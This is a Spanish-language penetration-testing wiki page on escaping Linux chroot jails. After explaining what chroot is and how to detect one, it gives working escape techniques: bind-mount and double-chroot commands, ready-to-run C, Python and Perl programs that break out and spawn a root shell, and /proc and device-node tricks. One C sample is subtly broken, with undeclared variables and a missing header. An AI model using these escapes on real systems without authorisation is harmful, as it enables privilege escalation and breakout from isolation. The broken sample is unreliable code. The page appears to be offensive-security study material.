Chroot Escape

Linux privilege Escalation

introducción

En el contexto de sistemas operativos Unix/Linux, "chroot" (abreviatura de "change root") es un comando y una operación que permite cambiar el directorio raíz aparente de un proceso y sus descendientes. Esto crea un entorno aislado, también conocido como "chroot jail", donde el proceso solo puede acceder a los archivos y directorios dentro de ese entorno modificado.

En esencia, chroot crea una "jaula" donde un proceso, y cualquier proceso que este cree, se cree que están en un sistema de archivos diferente al real.

El mecanismo chroot no está diseñado para proteger contra la manipulación intencionada por parte de usuarios privilegiados (root). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chroot con suficientes privilegios pueden ejecutar un segundo chroot para escapar. Normalmente, esto significa que para escapar, es necesario ser root dentro del chroot.

con la herramienta chw00t podemos aprovecharnos del entorno inseguro de chroot

chroot es un comando de Linux/Unix que cambia el directorio raíz (/) para un proceso o programa. Es como poner a un programa dentro de una jaula virtual (también llamada "chroot jail")

Para qué sirve?

  • Aislar procesos del resto del sistema.

  • Probar programas sin que dañen tu sistema operativo.

  • Crear ambientes seguros (como para testear malware o ejecutar servidores web).

Ejemplo :

Imagina que tienes una casa (tu sistema). Con chroot, creas una habitación falsa (otro sistema en una carpeta) y haces que un invitado (el programa) piense que esa habitación es toda la casa. Ese invitado no puede salir de esa habitación.

Qué necesitas para que funcione?

  • Crear una carpeta que actuará como nuevo sistema raíz.

  • Copiar archivos básicos ahí: comandos, librerías, etc.

  • Usar el comando: sudo chroot /ruta/a/tu/carpeta

chroot se usa comúnmente para :

  • En recuperación del sistema (por ejemplo desde un Live CD).

  • En servidores para aislar servicios como FTP.

  • Para desarrolladores y hackers éticos, que quieren probar cosas sin afectar su máquina.

chroot no es una solución de seguridad fuerte por sí sola. Los usuarios con privilegios podrían escaparse de la jaula si no se configura bien. Como lo veremos ahora :

Enumerando-chroot

si hemos accedido a una maquina y sospechamos de estar en un contenedor de chroot o simplemente queremos comprobarlo podemos utilizar los siguientes métodos :

Comprobar el /proc/1/root

Esto puede decirte si estás en un entorno diferente al del proceso init (PID 1):

ls -l /proc/1/root

Si el enlace simbólico apunta a algo diferente de /, estás en un entorno diferente al del sistema base (potencialmente un chroot, contenedor, etc).

Cambio de Raíz

con readlink podremos comprobar si la raíz actual esta montada sobre otra ubicación, si devuelve algo distinto a / es una señal obvia de que estamos dentro de un contenedor.

readlink -f /

Sal del comfort

intenta acceder a una ruta que sabemos que existe en el sistema real, pero no estaría dentro del chroot, por ejemplo :

ls /home

por ejemplo con el directorio /home si tu sabes que en este maquina debería estar poblado y aparece vacío o no existe, es una señal casi clara que estas en un chroot.

mount y df

estos comandos te darán pistas sobre los sistemas de archivos visibles, Si ves que el sistema de archivos de raíz no es el que esperas, puedes estar en un chroot

mount | grep ' / '
df /

Explotación

si tenemos permisos de root en el chroot podremos escapar fácilmente con monturas

si no tienes permiso de root puedes probar técnicas de escalación de privilegios comunes para poder hacer cómodamente todos los métodos

# metodo 1 (monturas)
mkdir escape
mount -bind / /escape
chroot /escape
# metodo 2 (monturas)
mount /dev/sda1 /mnt
chroot /mnt

  • como vimos anteriormente, hemos creado otro chroot, en sistemas linux 2 chroot no pueden convivir juntos, por lo que podemos escapar creando otro (debes de ser root en la cárcel). Aquí te muestro los demás pasos :

# metodo 3 (chroot impostor)
mkdir /tmp/chroot_escape
debootstrap stable /tmp/chroot_escape http://deb.debian.org/debian  # Solo si tienes debootstrap, o copia binarios manualmente

Si no usas Debian, puedes copiar manualmente binarios básicos dentro de /tmp/chroot_escape, como /bin/bash, /bin/ls, /lib, etc.

# entramos al chroot nuevo
sudo chroot /tmp/chroot_escape /bin/bash
			|
mkdir /escape
mount --bind / /escape  # Montamos el sistema de archivos real en /escape

Ahora dentro de /escape tienes acceso al sistema de archivos original fuera del chroot.

chroot /escape /bin/bash

  • despues de este comando ya hemos salido exitosamente del chroot inicial

ahora vamos a ver binarios compilados y scripts que nos pueden ayudar con nuestra tarea en el escape

# metodo 4 (binarios y scripts compilados)
				|
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

  • código de C

#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

  • código de Python

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

  • si no se restringió correctamente el acceso a /proc :

# metodo 5 (abusando del /proc)
cd /proc/1/root

  • si tenemos acceso al /dev o comandos como mknod podemos escalar privilegios creando dispositivos para acceder al disco o memoria principal

# metodo 6 (ejemplos de los dispositivos a crear)
/dev/mem
/dev/sda

  • escapando con descriptores de archivo y C dentro el directorio actual y creando chroot en un nuevo folder

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("tmpdir", 0755);
    dir_fd = open(".", O_RDONLY);
    if(chroot("tmpdir")){
        perror("chroot");
    }
    fchdir(dir_fd);
    close(dir_fd);
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");
}

  • si tenemos acceso a ejecutar y crear scripts de algún lenguaje de programación podremos traer exploits para escalar privilegios, un ejemplo el chw00t

      	https://github.com/earthquake/chw00t # Metodo

Algunas referencias de explotacion fueron sacadas de hacktricks, click aqui para ver el original

PreviousBash jailsNextDocker Escape / breakout

Last updated